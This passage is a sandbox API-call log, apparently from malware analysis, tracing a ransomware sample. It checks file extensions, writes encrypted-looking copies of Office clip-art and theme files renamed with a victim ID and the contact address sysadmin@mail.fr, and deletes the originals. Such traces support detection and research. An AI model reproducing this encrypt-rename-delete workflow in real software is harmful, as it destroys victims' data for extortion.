	[0151.621] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.621] lstrlenW (lpString=".xlsx") returned 5
	[0151.621] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1
	[0151.621] lstrlenW (lpString=".ppt") returned 4
	[0151.621] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0151.621] lstrlenW (lpString=".zip") returned 4
	[0151.621] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.621] lstrlenW (lpString=".rar") returned 4
	[0151.621] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.621] lstrlenW (lpString=".bz2") returned 4
	[0151.621] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.621] lstrlenW (lpString=".7z") returned 3
	[0151.621] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0151.621] lstrlenW (lpString=".dbf") returned 4
	[0151.621] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0151.621] lstrlenW (lpString=".1cd") returned 4
	[0151.621] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0151.622] lstrlenW (lpString=".jpg") returned 4
	[0151.622] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0151.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0151.622] lstrlenW (lpString=".doc") returned 4
	[0151.622] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.622] lstrlenW (lpString=".docx") returned 5
	[0151.622] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1
	[0151.622] lstrlenW (lpString=".pdf") returned 4
	[0151.622] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.622] lstrlenW (lpString=".xls") returned 4
	[0151.622] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.622] lstrlenW (lpString=".xlsx") returned 5
	[0151.622] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1
	[0151.622] lstrlenW (lpString=".ppt") returned 4
	[0151.622] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0151.622] lstrlenW (lpString=".zip") returned 4
	[0151.622] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.622] lstrlenW (lpString=".rar") returned 4
	[0151.622] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.622] lstrlenW (lpString=".bz2") returned 4
	[0151.622] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.622] lstrlenW (lpString=".7z") returned 3
	[0151.622] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0151.623] lstrlenW (lpString=".dbf") returned 4
	[0151.623] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0151.623] lstrlenW (lpString=".1cd") returned 4
	[0151.623] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 68
	[0151.623] lstrlenW (lpString=".jpg") returned 4
	[0151.623] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.623] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0151.623] lstrlenW (lpString="SCHOL_02.MID") returned 12
	[0151.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0151.641] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=5058) returned 1
	[0151.641] CloseHandle (hObject=0x54c) returned 1
	[0151.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 0x220
	[0151.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c
	[0151.642] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.642] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0151.644] GetLastError () returned 0x0
	[0151.644] ReadFile (in: hFile=0x54c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x13c2, lpOverlapped=0x0) returned 1
	[0151.656] WriteFile (in: hFile=0x548, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x13d0, lpOverlapped=0x0) returned 1
	[0151.657] ReadFile (in: hFile=0x54c, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.658] WriteFile (in: hFile=0x548, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.658] SetEndOfFile (hFile=0x548) returned 1
	[0151.658] CloseHandle (hObject=0x548) returned 1
	[0151.658] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.658] SetEndOfFile (hFile=0x54c) returned 1
	[0151.661] CloseHandle (hObject=0x54c) returned 1
	[0151.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 1
	[0151.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0151.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0151.662] lstrlenW (lpString=".doc") returned 4
	[0151.662] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.662] lstrlenW (lpString=".docx") returned 5
	[0151.662] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0151.662] lstrlenW (lpString=".pdf") returned 4
	[0151.662] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.662] lstrlenW (lpString=".xls") returned 4
	[0151.662] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.662] lstrlenW (lpString=".xlsx") returned 5
	[0151.662] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0151.662] lstrlenW (lpString=".ppt") returned 4
	[0151.785] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0151.785] lstrlenW (lpString=".zip") returned 4
	[0151.785] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.785] lstrlenW (lpString=".rar") returned 4
	[0151.786] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.786] lstrlenW (lpString=".bz2") returned 4
	[0151.786] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.786] lstrlenW (lpString=".7z") returned 3
	[0151.786] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0151.786] lstrlenW (lpString=".dbf") returned 4
	[0151.786] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0151.786] lstrlenW (lpString=".1cd") returned 4
	[0151.786] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0151.786] lstrlenW (lpString=".jpg") returned 4
	[0151.786] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0151.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0151.786] lstrlenW (lpString=".doc") returned 4
	[0151.786] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0151.786] lstrlenW (lpString=".docx") returned 5
	[0151.786] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1
	[0151.786] lstrlenW (lpString=".pdf") returned 4
	[0151.786] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0151.786] lstrlenW (lpString=".xls") returned 4
	[0151.786] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0151.786] lstrlenW (lpString=".xlsx") returned 5
	[0151.786] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1
	[0151.786] lstrlenW (lpString=".ppt") returned 4
	[0151.786] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0151.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0151.786] lstrlenW (lpString=".zip") returned 4
	[0151.786] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0151.787] lstrlenW (lpString=".rar") returned 4
	[0151.787] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0151.787] lstrlenW (lpString=".bz2") returned 4
	[0151.787] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0151.787] lstrlenW (lpString=".7z") returned 3
	[0151.787] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0151.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0151.787] lstrlenW (lpString=".dbf") returned 4
	[0151.787] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0151.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0151.787] lstrlenW (lpString=".1cd") returned 4
	[0151.787] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0151.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68
	[0151.787] lstrlenW (lpString=".jpg") returned 4
	[0151.787] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0151.787] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0151.787] lstrlenW (lpString="SPRNG_01.MID") returned 12
	[0151.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0152.021] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=6700) returned 1
	[0152.021] CloseHandle (hObject=0x550) returned 1
	[0152.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 0x220
	[0152.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0152.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0152.023] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.023] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0152.024] GetLastError () returned 0x0
	[0152.024] ReadFile (in: hFile=0x550, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x1a2c, lpOverlapped=0x0) returned 1
	[0152.038] WriteFile (in: hFile=0x520, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0x1a30, lpOverlapped=0x0) returned 1
	[0152.039] ReadFile (in: hFile=0x550, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0152.039] WriteFile (in: hFile=0x520, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xec, lpOverlapped=0x0) returned 1
	[0152.039] SetEndOfFile (hFile=0x520) returned 1
	[0152.039] CloseHandle (hObject=0x520) returned 1
	[0152.040] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.040] SetEndOfFile (hFile=0x550) returned 1
	[0152.049] CloseHandle (hObject=0x550) returned 1
	[0152.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0152.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 1
	[0152.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0152.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0152.050] lstrlenW (lpString=".doc") returned 4
	[0152.050] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0152.050] lstrlenW (lpString=".docx") returned 5
	[0152.050] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0152.050] lstrlenW (lpString=".pdf") returned 4
	[0152.050] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0152.050] lstrlenW (lpString=".xls") returned 4
	[0152.050] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0152.050] lstrlenW (lpString=".xlsx") returned 5
	[0152.050] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0152.050] lstrlenW (lpString=".ppt") returned 4
	[0152.050] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0152.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0152.051] lstrlenW (lpString=".zip") returned 4
	[0152.051] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0152.051] lstrlenW (lpString=".rar") returned 4
	[0152.051] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0152.051] lstrlenW (lpString=".bz2") returned 4
	[0152.051] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0152.051] lstrlenW (lpString=".7z") returned 3
	[0152.051] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0152.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0152.051] lstrlenW (lpString=".dbf") returned 4
	[0152.051] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0152.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0152.051] lstrlenW (lpString=".1cd") returned 4
	[0152.051] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0152.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0152.051] lstrlenW (lpString=".jpg") returned 4
	[0152.051] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0152.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0152.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0152.051] lstrlenW (lpString=".doc") returned 4
	[0152.051] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0152.051] lstrlenW (lpString=".docx") returned 5
	[0152.051] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0152.051] lstrlenW (lpString=".pdf") returned 4
	[0152.052] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0152.052] lstrlenW (lpString=".xls") returned 4
	[0152.052] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0152.052] lstrlenW (lpString=".xlsx") returned 5
	[0152.052] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0152.052] lstrlenW (lpString=".ppt") returned 4
	[0152.052] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0152.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0152.052] lstrlenW (lpString=".zip") returned 4
	[0152.052] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0152.052] lstrlenW (lpString=".rar") returned 4
	[0152.052] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0152.052] lstrlenW (lpString=".bz2") returned 4
	[0152.052] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0152.052] lstrlenW (lpString=".7z") returned 3
	[0152.052] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0152.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0152.052] lstrlenW (lpString=".dbf") returned 4
	[0152.052] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0152.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0152.052] lstrlenW (lpString=".1cd") returned 4
	[0152.052] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0152.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68
	[0152.052] lstrlenW (lpString=".jpg") returned 4
	[0152.052] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0152.053] lstrcmpiW (lpString1=".eftx", lpString2=".yG") returned -1
	[0152.053] lstrlenW (lpString="Banded Edge.eftx") returned 16
	[0152.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0152.067] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x407ff14 | out: lpFileSize=0x407ff14*=47851) returned 1
	[0152.067] CloseHandle (hObject=0x544) returned 1
	[0152.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 0x220
	[0152.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0152.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0152.068] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.068] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0152.072] GetLastError () returned 0x0
	[0152.072] ReadFile (in: hFile=0x544, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0xbaeb, lpOverlapped=0x0) returned 1
	[0152.082] WriteFile (in: hFile=0x554, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xbaf0, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xbaf0, lpOverlapped=0x0) returned 1
	[0152.090] ReadFile (in: hFile=0x544, lpBuffer=0x470c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x407fecc, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesRead=0x407fecc*=0x0, lpOverlapped=0x0) returned 1
	[0152.090] WriteFile (in: hFile=0x554, lpBuffer=0x470c020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x407fc94, lpOverlapped=0x0 | out: lpBuffer=0x470c020*, lpNumberOfBytesWritten=0x407fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0152.090] SetEndOfFile (hFile=0x554) returned 1
	[0152.090] CloseHandle (hObject=0x554) returned 1
	[0152.090] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x407fec0 | out: lpNewFilePointer=0x0) returned 1
	[0152.090] SetEndOfFile (hFile=0x544) returned 1
	[0152.370] CloseHandle (hObject=0x544) returned 1
	[0152.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.214] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 1
	[0153.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0153.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88
	[0153.558] lstrlenW (lpString=".doc") returned 4
	[0153.558] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0153.558] lstrlenW (lpString=".docx") returned 5
	[0153.558] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0153.558] lstrlenW (lpString=".pdf") returned 4
	[0153.558] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0153.558] lstrlenW (lpString=".xls") returned 4
	[0153.558] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0153.558] lstrlenW (lpString=".xlsx") returned 5
